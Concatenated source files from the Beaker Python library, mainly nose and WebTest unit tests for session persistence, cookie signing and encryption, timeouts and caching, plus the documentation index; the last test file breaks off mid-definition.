import shutil import sys import time import unittest import warnings from nose import SkipTest, with_setup from beaker.container import MemoryNamespaceManager from beaker.crypto import get_crypto_module from beaker.exceptions import BeakerException from beaker.session import CookieSession, Session, SessionObject from beaker.util import assert_raises def get_session(**kwargs): """A shortcut for creating :class:`Session` instance""" options = {} options.update(**kwargs) return Session({}, **options) COOKIE_REQUEST = {} def setup_cookie_request(): COOKIE_REQUEST.clear() def get_cookie_session(**kwargs): """A shortcut for creating :class:`CookieSession` instance""" options = {'validate_key': 'test_key'} options.update(**kwargs) if COOKIE_REQUEST.get('set_cookie'): COOKIE_REQUEST['cookie'] = COOKIE_REQUEST.get('cookie_out') return CookieSession(COOKIE_REQUEST, **options) @with_setup(setup_cookie_request) def test_session(): for test_case in ( check_save_load, check_save_load_encryption, check_save_load_encryption_cryptography, check_decryption_failure, check_delete, check_revert, check_invalidate, check_timeout, ): for session_getter in (get_session, get_cookie_session,): setup_cookie_request() yield test_case, session_getter def check_save_load(session_getter): """Test if the data is actually persistent across requests""" session = session_getter() session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter(id=session.id) assert u_('Suomi') in session assert u_('Great Britain') in session assert u_('Deutchland') in session assert session[u_('Suomi')] == u_('<NAME>') assert session[u_('Great Britain')] == u_('<NAME>') assert session[u_('Deutchland')] == u_('<NAME>') def check_save_load_encryption(session_getter): """Test if the data is actually persistent across requests""" if not get_crypto_module('default').has_aes: raise SkipTest() session = session_getter(encrypt_key='<KEY>', validate_key='hoobermas') session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter(id=session.id, encrypt_key='<KEY>', validate_key='hoobermas') assert u_('Suomi') in session assert u_('Great Britain') in session assert u_('Deutchland') in session assert session[u_('Suomi')] == u_('<NAME>') assert session[u_('Great Britain')] == u_('<NAME>') assert session[u_('Deutchland')] == u_('<NAME>') def check_save_load_encryption_cryptography(session_getter): """Test if the data is actually persistent across requests""" # cryptography only works for py3.3+, so skip for python 3.2 if sys.version_info[0] == 3 and sys.version_info[1] < 3: raise SkipTest("Cryptography not supported on Python 3 lower than 3.3") try: get_crypto_module('cryptography').has_aes except BeakerException: raise SkipTest() session = session_getter( encrypt_key='<KEY>', validate_key='hoobermas', crypto_type='cryptography') session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter( id=session.id, encrypt_key='<KEY>', validate_key='hoobermas', crypto_type='cryptography') assert u_('Suomi') in session assert u_('Great Britain') in session assert u_('Deutchland') in session assert session[u_('Suomi')] == u_('<NAME>') assert session[u_('Great Britain')] == u_('<NAME>') assert session[u_('Deutchland')] == u_('<NAME>') def check_decryption_failure(session_getter): """Test if the data fails without the right keys""" if not get_crypto_module('default').has_aes: raise SkipTest() session = session_getter(encrypt_key='<KEY>', validate_key='hoobermas') session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter(id=session.id, encrypt_key='asfdasdfadsfsadf', validate_key='hoobermas', invalidate_corrupt=True) assert u_('Suomi') not in session assert u_('Great Britain') not in session def check_delete(session_getter): """Test :meth:`Session.delete`""" session = session_getter() session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.delete() assert u_('Suomi') not in session assert u_('Great Britain') not in session assert u_('Deutchland') not in session def check_revert(session_getter): """Test :meth:`Session.revert`""" session = session_getter() session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter(id=session.id) del session[u_('Suomi')] session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session[u_('España')] = u_('<NAME>') session.revert() assert session[u_('Suomi')] == u_('<NAME>') assert session[u_('Great Britain')] == u_('<NAME>') assert session[u_('Deutchland')] == u_('<NAME>') assert u_('España') not in session def check_invalidate(session_getter): """Test :meth:`Session.invalidate`""" session = session_getter() session.save() id = session.id created = session.created session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.invalidate() session.save() assert session.id != id assert session.created != created assert u_('Suomi') not in session assert u_('Great Britain') not in session assert u_('Deutchland') not in session @with_setup(setup_cookie_request) def test_regenerate_id(): """Test :meth:`Session.regenerate_id`""" # new session & save session = get_session() orig_id = session.id session[u_('foo')] = u_('bar') session.save() # load session session = get_session(id=session.id) # data should still be there assert session[u_('foo')] == u_('bar') # regenerate the id session.regenerate_id() assert session.id != orig_id # data is still there assert session[u_('foo')] == u_('bar') # should be the new id assert 'beaker.session.id=%s' % session.id in session.request['cookie_out'] # get a new session before calling save bunk_sess = get_session(id=session.id) assert u_('foo') not in bunk_sess # save it session.save() # make sure we get the data back session = get_session(id=session.id) assert session[u_('foo')] == u_('bar') def check_timeout(session_getter): """Test if the session times out properly""" session = session_getter(timeout=2) session.save() id = session.id created = session.created session[u_('Suomi')] = u_('<NAME>') session[u_('Great Britain')] = u_('<NAME>') session[u_('Deutchland')] = u_('<NAME>') session.save() session = session_getter(id=session.id, timeout=2) assert session.id == id assert session.created == created assert session[u_('Suomi')] == u_('<NAME>') assert session[u_('Great Britain')] == u_('<NAME>') assert session[u_('Deutchland')] == u_('<NAME>') time.sleep(2) session = session_getter(id=session.id, timeout=2) assert session.id != id assert session.created != created assert u_('Suomi') not in session assert u_('Great Britain') not in session assert u_('Deutchland') not in session @with_setup(setup_cookie_request) def test_timeout_requires_accessed_time(): """Test that it doesn't allow setting save_accessed_time to False with timeout enabled """ get_session(timeout=None, save_accessed_time=True) # is ok get_session(timeout=None, save_accessed_time=False) # is ok assert_raises(BeakerException, get_session, timeout=2, save_accessed_time=False) @with_setup(setup_cookie_request) def test_cookies_enabled(): """ Test if cookies are sent out properly when ``use_cookies`` is set to ``True`` """ session = get_session(use_cookies=True) assert 'cookie_out' in session.request assert session.request['set_cookie'] == False session.domain = 'example.com' session.path = '/example' assert session.request['set_cookie'] == True assert 'beaker.session.id=%s' % session.id in session.request['cookie_out'] assert 'Domain=example.com' in session.request['cookie_out'] assert 'Path=/' in session.request['cookie_out'] session = get_session(use_cookies=True) session.save() assert session.request['set_cookie'] == True assert 'beaker.session.id=%s' % session.id in session.request['cookie_out'] session = get_session(use_cookies=True, id=session.id) session.delete() assert session.request['set_cookie'] == True assert 'beaker.session.id=%s' % session.id in session.request['cookie_out'] assert 'expires=' in session.request['cookie_out'] # test for secure session = get_session(use_cookies=True, secure=True) cookie = session.request['cookie_out'].lower() # Python3.4.3 outputs "Secure", while previous output "secure" assert 'secure' in cookie, cookie # test for httponly class ShowWarning(object): def __init__(self): self.msg = None def __call__(self, message, category, filename, lineno, file=None, line=None): self.msg = str(message) orig_sw = warnings.showwarning sw = ShowWarning() warnings.showwarning = sw session = get_session(use_cookies=True, httponly=True) if sys.version_info < (2, 6): assert sw.msg == 'Python 2.6+ is required to use httponly' else: # Python3.4.3 outputs "HttpOnly", while previous output "httponly" cookie = session.request['cookie_out'].lower() assert 'httponly' in cookie, cookie warnings.showwarning = orig_sw def test_cookies_disabled(): """ Test that no cookies are sent when ``use_cookies`` is set to ``False`` """ session = get_session(use_cookies=False) assert 'set_cookie' not in session.request assert 'cookie_out' not in session.request session.save() assert 'set_cookie' not in session.request assert 'cookie_out' not in session.request session = get_session(use_cookies=False, id=session.id) assert 'set_cookie' not in session.request assert 'cookie_out' not in session.request session.delete() assert 'set_cookie' not in session.request assert 'cookie_out' not in session.request @with_setup(setup_cookie_request) def test_file_based_replace_optimization(): """Test the file-based backend with session, which includes the 'replace' optimization. """ session = get_session(use_cookies=False, type='file', data_dir='./cache') session['foo'] = 'foo' session['bar'] = 'bar' session.save() session = get_session(use_cookies=False, type='file', data_dir='./cache', id=session.id) assert session['foo'] == 'foo' assert session['bar'] == 'bar' session['bar'] = 'bat' session['bat'] = 'hoho' session.save() session.namespace.do_open('c', False) session.namespace['test'] = 'some test' session.namespace.do_close() session = get_session(use_cookies=False, type='file', data_dir='./cache', id=session.id) session.namespace.do_open('r', False) assert session.namespace['test'] == 'some test' session.namespace.do_close() assert session['foo'] == 'foo' assert session['bar'] == 'bat' assert session['bat'] == 'hoho' session.save() # the file has been replaced, so our out-of-session # key is gone session.namespace.do_open('r', False) assert 'test' not in session.namespace session.namespace.do_close() @with_setup(setup_cookie_request) def test_invalidate_corrupt(): session = get_session(use_cookies=False, type='file', data_dir='./cache') session['foo'] = 'bar' session.save() f = open(session.namespace.file, 'w') f.write("crap") f.close() assert_raises( (pickle.UnpicklingError, EOFError, TypeError, binascii.Error), get_session, use_cookies=False, type='file', data_dir='./cache', id=session.id ) session = get_session(use_cookies=False, type='file', invalidate_corrupt=True, data_dir='./cache', id=session.id) assert "foo" not in dict(session) @with_setup(setup_cookie_request) def test_invalidate_empty_cookie(): kwargs = {'validate_key': 'test_key', 'encrypt_key': 'encrypt'} session = get_cookie_session(**kwargs) session['foo'] = 'bar' session.save() COOKIE_REQUEST['cookie_out'] = ' beaker.session.id=' session = get_cookie_session(id=session.id, invalidate_corrupt=False, **kwargs) assert "foo" not in dict(session) @with_setup(setup_cookie_request) def test_unrelated_cookie(): kwargs = {'validate_key': 'test_key', 'encrypt_key': 'encrypt'} session = get_cookie_session(**kwargs) session['foo'] = 'bar' session.save() COOKIE_REQUEST['cookie_out'] = COOKIE_REQUEST['cookie_out'] + '; some.other=cookie' session = get_cookie_session(id=session.id, invalidate_corrupt=False, **kwargs) assert "foo" in dict(session) @with_setup(setup_cookie_request) def test_invalidate_invalid_signed_cookie(): kwargs = {'validate_key': 'test_key', 'encrypt_key': 'encrypt'} session = get_cookie_session(**kwargs) session['foo'] = 'bar' session.save() COOKIE_REQUEST['cookie_out'] = ( COOKIE_REQUEST['cookie_out'][:20] + 'aaaaa' + COOKIE_REQUEST['cookie_out'][25:] ) assert_raises( BeakerException, get_cookie_session, id=session.id, invalidate_corrupt=False, ) @with_setup(setup_cookie_request) def test_invalidate_invalid_signed_cookie_invalidate_corrupt(): kwargs = {'validate_key': 'test_key', 'encrypt_key': 'encrypt'} session = get_cookie_session(**kwargs) session['foo'] = 'bar' session.save() COOKIE_REQUEST['cookie_out'] = ( COOKIE_REQUEST['cookie_out'][:20] + 'aaaaa' + COOKIE_REQUEST['cookie_out'][25:] ) session = get_cookie_session(id=session.id, invalidate_corrupt=True, **kwargs) assert "foo" not in dict(session) class TestSaveAccessedTime(unittest.TestCase): # These tests can't use the memory session type since it seems that loading # winds up with references to the underlying storage and makes changes to # sessions even though they aren't save()ed. def setUp(self): # Ignore errors because in most cases the dir won't exist. shutil.rmtree('./cache', ignore_errors=True) def tearDown(self): shutil.rmtree('./cache') def test_saves_if_session_written_and_accessed_time_false(self): session = get_session(data_dir='./cache', save_accessed_time=False) # New sessions are treated a little differently so save the session # before getting into the meat of the test. session.save() session = get_session(data_dir='./cache', save_accessed_time=False, id=session.id) last_accessed = session.last_accessed session.save(accessed_only=False) session = get_session(data_dir='./cache', save_accessed_time=False, id=session.id) # If the second save saved, we'll have a new last_accessed time. # Python 2.6 doesn't have assertGreater :-( assert session.last_accessed > last_accessed, ( '%r is not greater than %r' % (session.last_accessed, last_accessed)) def test_saves_if_session_not_written_and_accessed_time_true(self): session = get_session(data_dir='./cache', save_accessed_time=True) # New sessions are treated a little differently so save the session # before getting into the meat of the test. session.save() session = get_session(data_dir='./cache', save_accessed_time=True, id=session.id) last_accessed = session.last_accessed session.save(accessed_only=True) # this is the save we're really testing session = get_session(data_dir='./cache', save_accessed_time=True, id=session.id) # If the second save saved, we'll have a new last_accessed time. # Python 2.6 doesn't have assertGreater :-( assert session.last_accessed > last_accessed, ( '%r is not greater than %r' % (session.last_accessed, last_accessed)) def test_doesnt_save_if_session_not_written_and_accessed_time_false(self): session = get_session(data_dir='./cache', save_accessed_time=False) # New sessions are treated a little differently so save the session # before getting into the meat of the test. session.save() session = get_session(data_dir='./cache', save_accessed_time=False, id=session.id) last_accessed = session.last_accessed session.save(accessed_only=True) # this shouldn't actually save session = get_session(data_dir='./cache', save_accessed_time=False, id=session.id) self.assertEqual(session.last_accessed, last_accessed) class TestSessionObject(unittest.TestCase): def setUp(self): # San check that we are in fact using the memory backend... assert get_session().namespace_class == MemoryNamespaceManager # so we can be sure we're clearing the right state. MemoryNamespaceManager.namespaces.clear() def test_no_autosave_saves_atime_without_save(self): so = SessionObject({}, auto=False) so['foo'] = 'bar' so.persist() session = get_session(id=so.id) assert '_accessed_time' in session assert 'foo' not in session # because we didn't save() def test_no_autosave_saves_with_save(self): so = SessionObject({}, auto=False) so['foo'] = 'bar' so.save() so.persist() session = get_session(id=so.id) assert '_accessed_time' in session assert 'foo' in session def test_no_autosave_saves_with_delete(self): req = {'cookie': {'beaker.session.id': 123}} so = SessionObject(req, auto=False) so['foo'] = 'bar' so.save() so.persist() session = get_session(id=so.id) assert 'foo' in session so2 = SessionObject(req, auto=False) so2.delete() so2.persist() session = get_session(id=so2.id) assert 'foo' not in session def test_auto_save_saves_without_save(self): so = SessionObject({}, auto=True) so['foo'] = 'bar' # look ma, no save()! so.persist() session = get_session(id=so.id) assert 'foo' in session def test_accessed_time_off_saves_atime_when_saving(self): so = SessionObject({}, save_accessed_time=False) atime = so['_accessed_time'] so['foo'] = 'bar' so.save() so.persist() session = get_session(id=so.id, save_accessed_time=False) assert 'foo' in session assert '_accessed_time' in session self.assertEqual(session.last_accessed, atime) def test_accessed_time_off_doesnt_save_without_save(self): req = {'cookie': {'beaker.session.id': 123}} so = SessionObject(req, save_accessed_time=False) so.persist() # so we can do a set on a non-new session so2 = SessionObject(req, save_accessed_time=False) so2['foo'] = 'bar' # no save() so2.persist() session = get_session(id=so.id, save_accessed_time=False) assert 'foo' not in session <file_sep>/beaker/docs/index.rst Beaker Documentation ==================== Beaker is a library for caching and sessions for use with web applications and stand-alone Python scripts and applications. It comes with WSGI middleware for easy drop-in use with WSGI based web applications, and caching decorators for ease of use with any Python based application. * **Lazy-Loading Sessions**: No performance hit for having sessions active in a request unless they're actually used * **Performance**: Utilizes a multiple-reader / single-writer locking system to prevent the Dog Pile effect when caching. * **Multiple Back-ends**: File-based, DBM files, memcached, memory, Redis, MongoDB, and database (via SQLAlchemy) back-ends available for sessions and caching * **Cookie-based Sessions**: SHA-1 signatures with optional AES encryption for client-side cookie-based session storage * **Flexible Caching**: Data can be cached per function to different back-ends, with different expirations, and different keys * **Extensible Back-ends**: Add more back-ends using setuptools entrypoints to support new back-ends. .. toctree:: :maxdepth: 2 configuration sessions caching .. toctree:: :maxdepth: 1 changes Indices and tables ================== * :ref:`genindex` * :ref:`modindex` * :ref:`search` * :ref:`glossary` Module Listing -------------- .. toctree:: :maxdepth: 2 modules/cache modules/container modules/middleware modules/session modules/synchronization modules/util modules/database modules/memcached modules/mongodb modules/redis modules/google modules/sqla modules/pbkdf2 <file_sep>/tests/test_cookie_only.py import datetime, time import re import os import json import beaker.session import beaker.util from beaker.session import SignedCookie from beaker._compat import b64decode from beaker.middleware import SessionMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: raise SkipTest("webtest not installed") from beaker import crypto if not crypto.get_crypto_module('default').has_aes: raise SkipTest("No AES library is installed, can't test cookie-only " "Sessions") def simple_app(environ, start_response): session = environ['beaker.session'] if not session.has_key('value'): session['value'] = 0 session['value'] += 1 if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %d and cookie is %s' % (session['value'], session) return [msg.encode('UTF-8')] def test_increment(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_invalid_cookie(): # This is not actually a cookie only session, but we still test the cookie part. options = {'session.validate_key':'hoobermas'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res # Set an invalid cookie. app.set_cookie('cb_/zabbix/actionconf.php_parts', 'HI') res = app.get('/') assert 'current value is: 2' in res, res res = app.get('/') assert 'current value is: 3' in res, res def test_invalid_cookie_cookietype(): # This is not actually a cookie only session, but we still test the cookie part. options = {'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res # Set an invalid cookie. app.set_cookie('cb_/zabbix/actionconf.php_parts', 'HI') res = app.get('/') assert 'current value is: 2' in res, res res = app.get('/') assert 'current value is: 3' in res, res def test_json_serializer(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie', 'data_serializer': 'json'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') cookie = SignedCookie('hoobermas') session_data = cookie.value_decode(app.cookies['beaker.session.id'])[0] session_data = b64decode(session_data) data = beaker.util.deserialize(session_data, 'json') assert data['value'] == 2 res = app.get('/') assert 'current value is: 3' in res def test_pickle_serializer(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie', 'data_serializer': 'pickle'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') cookie = SignedCookie('hoobermas') session_data = cookie.value_decode(app.cookies['beaker.session.id'])[0] session_data = b64decode(session_data) data = beaker.util.deserialize(session_data, 'pickle') assert data['value'] == 2 res = app.get('/') assert 'current value is: 3' in res def test_custom_serializer(): was_used = [False, False] class CustomSerializer(object): def loads(self, data_string): was_used[0] = True return json.loads(data_string.decode('utf-8')) def dumps(self, data): was_used[1] = True return json.dumps(data).encode('utf-8') serializer = CustomSerializer() options = {'session.validate_key':'hoobermas', 'session.type':'cookie', 'data_serializer': serializer} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') cookie = SignedCookie('hoobermas') session_data = cookie.value_decode(app.cookies['beaker.session.id'])[0] session_data = b64decode(session_data) data = serializer.loads(session_data) assert data['value'] == 2 res = app.get('/') assert 'current value is: 3' in res assert all(was_used) def test_expires(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie', 'session.cookie_expires': datetime.timedelta(days=1)} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'expires=' in res.headers.getall('Set-Cookie')[0] assert 'current value is: 1' in res def test_different_sessions(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) app2 = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app2.get('/') assert 'current value is: 1' in res res = app2.get('/') res = app2.get('/') res = app2.get('/') res2 = app.get('/') assert 'current value is: 2' in res2 assert 'current value is: 4' in res def test_nosave(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/nosave') assert 'current value is: 1' in res assert [] == res.headers.getall('Set-Cookie') res = app.get('/nosave') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 1' in res assert len(res.headers.getall('Set-Cookie')) > 0 res = app.get('/') assert 'current value is: 2' in res def test_increment_with_encryption(): options = {'session.encrypt_key':'<KEY>', 'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_different_sessions_with_encryption(): options = {'session.encrypt_key':'<KEY>', 'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) app2 = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app2.get('/') assert 'current value is: 1' in res res = app2.get('/') res = app2.get('/') res = app2.get('/') res2 = app.get('/') assert 'current value is: 2' in res2 assert 'current value is: 4' in res def test_nosave_with_encryption(): options = {'session.encrypt_key':'<KEY>', 'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/nosave') assert 'current value is: 1' in res assert [] == res.headers.getall('Set-Cookie') res = app.get('/nosave') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 1' in res assert len(res.headers.getall('Set-Cookie')) > 0 res = app.get('/') assert 'current value is: 2' in res def test_cookie_id(): options = {'session.encrypt_key':'<KEY>', 'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert "_id':" in res sess_id = re.sub(r".*'_id': '(.*?)'.*", r'\1', res.body.decode('utf-8')) res = app.get('/') new_id = re.sub(r".*'_id': '(.*?)'.*", r'\1', res.body.decode('utf-8')) assert new_id == sess_id def test_invalidate_with_save_does_not_delete_session(): def invalidate_session_app(environ, start_response): session = environ['beaker.session'] session.invalidate() session.save() start_response('200 OK', [('Content-type', 'text/plain')]) return [('Cookie is %s' % session).encode('UTF-8')] options = {'session.encrypt_key':'<KEY>', 'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(invalidate_session_app, **options)) res = app.get('/') assert 'expires=' not in res.headers.getall('Set-Cookie')[0] def test_changing_encrypt_key_with_timeout(): COMMON_ENCRYPT_KEY = '<KEY>' DIFFERENT_ENCRYPT_KEY = 'hello-world' options = {'session.encrypt_key': COMMON_ENCRYPT_KEY, 'session.timeout': 300, 'session.validate_key': 'hoobermas', 'session.type': 'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'The current value is: 1' in res, res # Get the session cookie, so we can reuse it. cookies = res.headers['Set-Cookie'] # Check that we get the same session with the same cookie options = {'session.encrypt_key': COMMON_ENCRYPT_KEY, 'session.timeout': 300, 'session.validate_key': 'hoobermas', 'session.type': 'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/', headers={'Cookie': cookies}) assert 'The current value is: 2' in res, res # Now that we are sure that it reuses the same session, # change the encrypt_key so that it is unable to understand the cookie. options = {'session.encrypt_key': DIFFERENT_ENCRYPT_KEY, 'session.timeout': 300, 'session.validate_key': 'hoobermas', 'session.type': 'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/', headers={'Cookie': cookies}) # Let's check it created a new session as the old one is invalid # in the past it just crashed. assert 'The current value is: 1' in res, res def test_cookie_properly_expires(): COMMON_ENCRYPT_KEY = '<KEY>' options = {'session.encrypt_key': COMMON_ENCRYPT_KEY, 'session.timeout': 1, 'session.validate_key': 'hoobermas', 'session.type': 'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'The current value is: 1' in res, res res = app.get('/') assert 'The current value is: 2' in res, res # Wait session to expire and check it starts with a clean one time.sleep(1) res = app.get('/') assert 'The current value is: 1' in res, res if __name__ == '__main__': from paste import httpserver wsgi_app = SessionMiddleware(simple_app, {}) httpserver.serve(wsgi_app, host='127.0.0.1', port=8080) <file_sep>/tests/test_cache.py # coding: utf-8 from beaker._compat import u_, bytes_ import os import platform import shutil import tarfile import tempfile import time from beaker.middleware import CacheMiddleware from beaker import util from beaker.cache import Cache from nose import SkipTest from beaker.util import skip_if import base64 import zlib try: from webtest import TestApp except ImportError: TestApp = None # Tarballs of the output of: # >>> from beaker.cache import Cache # >>> c = Cache('test', data_dir='db', type='dbm') # >>> c['foo'] = 'bar' # in the old format, Beaker @ revision: 24f57102d310 dbm_cache_tar = bytes_("""\ e<KEY> <KEY> """) dbm_cache_tar = zlib.decompress(base64.b64decode(dbm_cache_tar)) # dumbdbm format dumbdbm_cache_tar = bytes_("""\ <KEY> """) dumbdbm_cache_tar = zlib.decompress(base64.b64decode(dumbdbm_cache_tar)) def simple_app(environ, start_response): clear = False if environ.get('beaker.clear'): clear = True cache = environ['beaker.cache'].get_cache('testcache') if clear: cache.clear() try: value = cache.get_value('value') except: value = 0 cache.set_value('value', value+1) start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %s' % cache.get_value('value') return [msg.encode('utf-8')] def cache_manager_app(environ, start_response): cm = environ['beaker.cache'] cm.get_cache('test')['test_key'] = 'test value' start_response('200 OK', [('Content-type', 'text/plain')]) yield ("test_key is: %s\n" % cm.get_cache('test')['test_key']).encode('utf-8') cm.get_cache('test').clear() try: test_value = cm.get_cache('test')['test_key'] except KeyError: yield "test_key cleared".encode('utf-8') else: test_value = cm.get_cache('test')['test_key'] yield ("test_key wasn't cleared, is: %s\n" % test_value).encode('utf-8') def test_has_key(): cache = Cache('test', data_dir='./cache', type='dbm') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_expire_changes(): cache = Cache('test_bar', data_dir='./cache', type='dbm') cache.set_value('test', 10) assert cache.has_key('test') assert cache['test'] == 10 # ensure that we can change a never-expiring value cache.set_value('test', 20, expiretime=1) assert cache.has_key('test') assert cache['test'] == 20 time.sleep(1) assert not cache.has_key('test') # test that we can change it before its expired cache.set_value('test', 30, expiretime=50) assert cache.has_key('test') assert cache['test'] == 30 cache.set_value('test', 40, expiretime=3) assert cache.has_key('test') assert cache['test'] == 40 time.sleep(3) assert not cache.has_key('test') def test_fresh_createfunc(): cache = Cache('test_foo', data_dir='./cache', type='dbm') x = cache.get_value('test', createfunc=lambda: 10, expiretime=2) assert x == 10 x = cache.get_value('test', createfunc=lambda: 12, expiretime=2) assert x == 10 x = cache.get_value('test', createfunc=lambda: 14, expiretime=2) assert x == 10 time.sleep(2) x = cache.get_value('test', createfunc=lambda: 16, expiretime=2) assert x == 16 x = cache.get_value('test', createfunc=lambda: 18, expiretime=2) assert x == 16 cache.remove_value('test') assert not cache.has_key('test') x = cache.get_value('test', createfunc=lambda: 20, expiretime=2) assert x == 20 def test_has_key_multicache(): cache = Cache('test', data_dir='./cache', type='dbm') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache cache = Cache('test', data_dir='./cache', type='dbm') assert cache.has_key("test") def test_unicode_keys(): cache = Cache('test', data_dir='./cache', type='dbm') o = object() cache.set_value(u_('hiŏ'), o) assert u_('hiŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hiŏ')) assert u_('hiŏ') not in cache def test_remove_stale(): """test that remove_value() removes even if the value is expired.""" cache = Cache('test', type='memory') o = object() cache.namespace[b'key'] = (time.time() - 60, 5, o) container = cache._get_value('key') assert not container.has_current_value() assert b'key' in container.namespace cache.remove_value('key') assert b'key' not in container.namespace # safe to call again cache.remove_value('key') def test_multi_keys(): cache = Cache('newtests', data_dir='./cache', type='dbm') cache.clear() called = {} def create_func(): called['here'] = True return 'howdy' try: cache.get_value('key1') except KeyError: pass else: raise Exception("Failed to keyerror on nonexistent key") assert 'howdy' == cache.get_value('key2', createfunc=create_func) assert called['here'] == True del called['here'] try: cache.get_value('key3') except KeyError: pass else: raise Exception("Failed to keyerror on nonexistent key") try: cache.get_value('key1') except KeyError: pass else: raise Exception("Failed to keyerror on nonexistent key") assert 'howdy' == cache.get_value('key2', createfunc=create_func) assert called == {} @skip_if(lambda: TestApp is None, "webtest not installed") def test_increment(): app = TestApp(CacheMiddleware(simple_app)) res = app.get('/', extra_environ={'beaker.type':type, 'beaker.clear':True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res @skip_if(lambda: TestApp is None, "webtest not installed") def test_cache_manager(): app = TestApp(CacheMiddleware(cache_manager_app)) res = app.get('/') assert 'test_key is: test value' in res assert 'test_key cleared' in res def test_clsmap_nonexistent(): from beaker.cache import clsmap try: clsmap['fake'] assert False except KeyError: pass def test_clsmap_present(): from beaker.cache import clsmap assert clsmap['memory'] def test_legacy_cache(): cache = Cache('newtests', data_dir='./cache', type='dbm') cache.set_value('x', '1') assert cache.get_value('x') == '1' cache.set_value('x', '2', type='file', data_dir='./cache') assert cache.get_value('x') == '1' assert cache.get_value('x', type='file', data_dir='./cache') == '2' cache.remove_value('x') cache.remove_value('x', type='file', data_dir='./cache') assert cache.get_value('x', expiretime=1, createfunc=lambda: '5') == '5' assert cache.get_value('x', expiretime=1, createfunc=lambda: '6', type='file', data_dir='./cache') == '6' assert cache.get_value('x', expiretime=1, createfunc=lambda: '7') == '5' assert cache.get_value('x', expiretime=1, createfunc=lambda: '8', type='file', data_dir='./cache') == '6' time.sleep(1) assert cache.get_value('x', expiretime=1, createfunc=lambda: '9') == '9' assert cache.get_value('x', expiretime=1, createfunc=lambda: '10', type='file', data_dir='./cache') == '10' assert cache.get_value('x', expiretime=1, createfunc=lambda: '11') == '9' assert cache.get_value('x', expiretime=1, createfunc=lambda: '12', type='file', data_dir='./cache') == '10' def test_upgrade(): # If we're on OSX, lets run this since its OSX dump files, otherwise # we have to skip it if platform.system() != 'Darwin': return for test in _test_upgrade_has_key, _test_upgrade_in, _test_upgrade_setitem: for mod, tar in (('dbm', dbm_cache_tar), ('dumbdbm', dumbdbm_cache_tar)): try: __import__(mod) except ImportError: continue dir = tempfile.mkdtemp() fd, name = tempfile.mkstemp(dir=dir) fp = os.fdopen(fd, 'wb') fp.write(tar) fp.close() tar = tarfile.open(name) for member in tar.getmembers(): tar.extract(member, dir) tar.close() try: test(os.path.join(dir, 'db')) finally: shutil.rmtree(dir) def _test_upgrade_has_key(dir): cache = Cache('test', data_dir=dir, type='dbm') assert cache.has_key('foo') assert cache.has_key('foo') def 